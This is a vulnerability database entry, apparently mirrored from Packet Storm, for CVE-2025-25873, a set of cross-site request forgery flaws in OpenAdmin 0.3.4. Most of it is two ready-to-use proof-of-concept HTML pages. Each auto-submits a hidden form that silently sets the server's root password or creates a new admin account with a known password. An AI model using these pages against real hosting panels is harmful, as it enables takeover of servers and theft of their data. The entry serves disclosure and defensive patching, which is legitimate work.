OpenAdmin 0.3.4 Cross Site Request Forgery

🗓️ 06 Mar 2025 00:00:00Reported by Korn Chaisuwan, Manich Koomsusi, Pongtorn Angsuchotmetee, Punthat SiriwanType

packetstorm🔗 packetstorm.news👁 306 Views

OpenAdmin 0.3.4 has multiple Cross Site Request Forgery vulnerabilities affecting user actions.

Reporter	Title	Published	Views	Family All 8
Circl	CVE-2025-25873	14 Mar 202515:43	–	circl
CNNVD	Open Panel OpenAdmin 安全漏洞	14 Mar 202500:00	–	cnnvd
CVE	CVE-2025-25873	14 Mar 202500:00	–	cve
Cvelist	CVE-2025-25873	14 Mar 202500:00	–	cvelist
EUVD	EUVD-2025-6450	3 Oct 202520:07	–	euvd
NVD	CVE-2025-25873	14 Mar 202516:15	–	nvd
RedhatCVE	CVE-2025-25873	16 Mar 202500:23	–	redhatcve
Vulnrichment	CVE-2025-25873	14 Mar 202500:00	–	vulnrichment

# Exploit Title: OpenAdmin 0.3.4 - Multiple CSRF Vulnerabilities
    # Date: Nov 8, 2024
    # Exploit Author: Punthat Siriwan, Korn Chaisuwan, Manich Koomsusi, Pongtorn Angsuchotmetee 
    # Vendor Homepage: https://openpanel.com/
    # Software Link: https://openpanel.com/
    # Version: 0.3.4
    # Tested on: macOS
    # CVE : CVE-2025-25873
    
    ##-- CSRF at Advanced Change Root Password --##
    <html>
      <body>
        <form action="https://demo.openpanel.org:2087/server/root-password" method="POST">
          <input type="hidden" name="password" value="P&#64;ssw0rd" />
          <input type="submit" value="Submit request" />
        </form>
        <script>
          history.pushState('', '', '/');
          document.forms[0].submit();
        </script>
      </body>
    </html>
    
    ##-- CSRF at Users --##
    <html> 
      <body> 
        <form action="https://demo.openpanel.org:2087/user/new" method="POST" 
    enctype="multipart/form-data"> 
          <input type="hidden" name="admin&#95;email" value="csrf&#64;csrf" /> 
          <input type="hidden" name="plan&#95;name" 
    value="ubuntu&#95;nginx&#95;mysql" /> 
          <input type="hidden" name="admin&#95;username" value="csrf" /> 
          <input type="hidden" name="admin&#95;password" value="12345678" /> 
          <input type="submit" value="Submit request" /> 
        </form> 
        <script> 
          history.pushState('', '', '/'); 
          document.forms[0].submit(); 
        </script> 
      </body>
    </html>

06 Mar 2025 00:00Current

7.4High risk

Vulners AI Score7.4

EPSS0.00198